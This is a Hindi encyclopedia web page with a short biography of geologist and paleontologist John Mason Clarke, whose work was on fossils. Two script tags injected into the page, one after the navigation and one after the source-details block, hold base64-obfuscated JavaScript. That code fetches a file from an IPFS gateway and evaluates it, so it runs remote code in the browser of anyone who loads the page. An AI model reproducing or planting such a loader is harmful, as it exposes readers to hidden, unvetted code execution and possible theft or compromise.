ज़ॉंन मेसन क्लार्क

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
ज़ॉंन मेसन क्लार्क
पुस्तक नाम हिन्दी विश्वकोश खण्ड 3
पृष्ठ संख्या 234
भाषा हिन्दी देवनागरी
संपादक सुधाकर पांडेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1976 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक फूलदेवसहाय वर्मा

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

जॉन मेसन क्लार्क (1857-1921) भूगर्भवेत्ता और पुराप्राणिविज्ञान-वेत्ता। इनका जन्म 15 अप्रैल, 1857 ई. को न्यूयार्क के कैनेन्‌डेग्वा में हुआ था। वहाँ शिक्षा पाकर ये जर्मनी के गॉर्टिजेन विश्वविद्यालय में प्रविष्ट हुए। वहाँ से लौटने पर 1898 ई. में न्यूयार्क में पहले सहायक और पीछे स्वतंत्र प्राध्यापक नियुक्त हुए। फिर राज्य संग्रहालय के भूगर्भवेत्ता और पुराप्राणिविज्ञानवेत्ता निर्देशक नियुक्त हुए। अनके समय में इस संग्रहालय ने बड़ी उन्नति की और वह संयुक्त राज्य अमरीका का सर्वश्रेष्ठ संग्रहालय बन गया।

बाल्यकाल से ही इनमें फौसिल (प्रस्तरीभूत जीव) संग्रह की लगन थी और इसका इन्होंने गहन अध्ययन किया था। ब्रांकियोपॉउ, त्रस्टेशिया, काचस्पंज, प्रवालयुगीन प्राणियों, मस्युगीन प्राणियों आदि के संबंध में इन्होंने अनेक निबंध और ग्रंथ लिखे। इनके निबंधों की संख्या 180 के लगभग है जिनकी सूची अमरीकन जियोलॉजिकल सोसाइटी के बुलेटिन (खंड 37, पृष्ट 49-93, 1926) में प्रकाशित हुई है।




टीका टिप्पणी और संदर्भ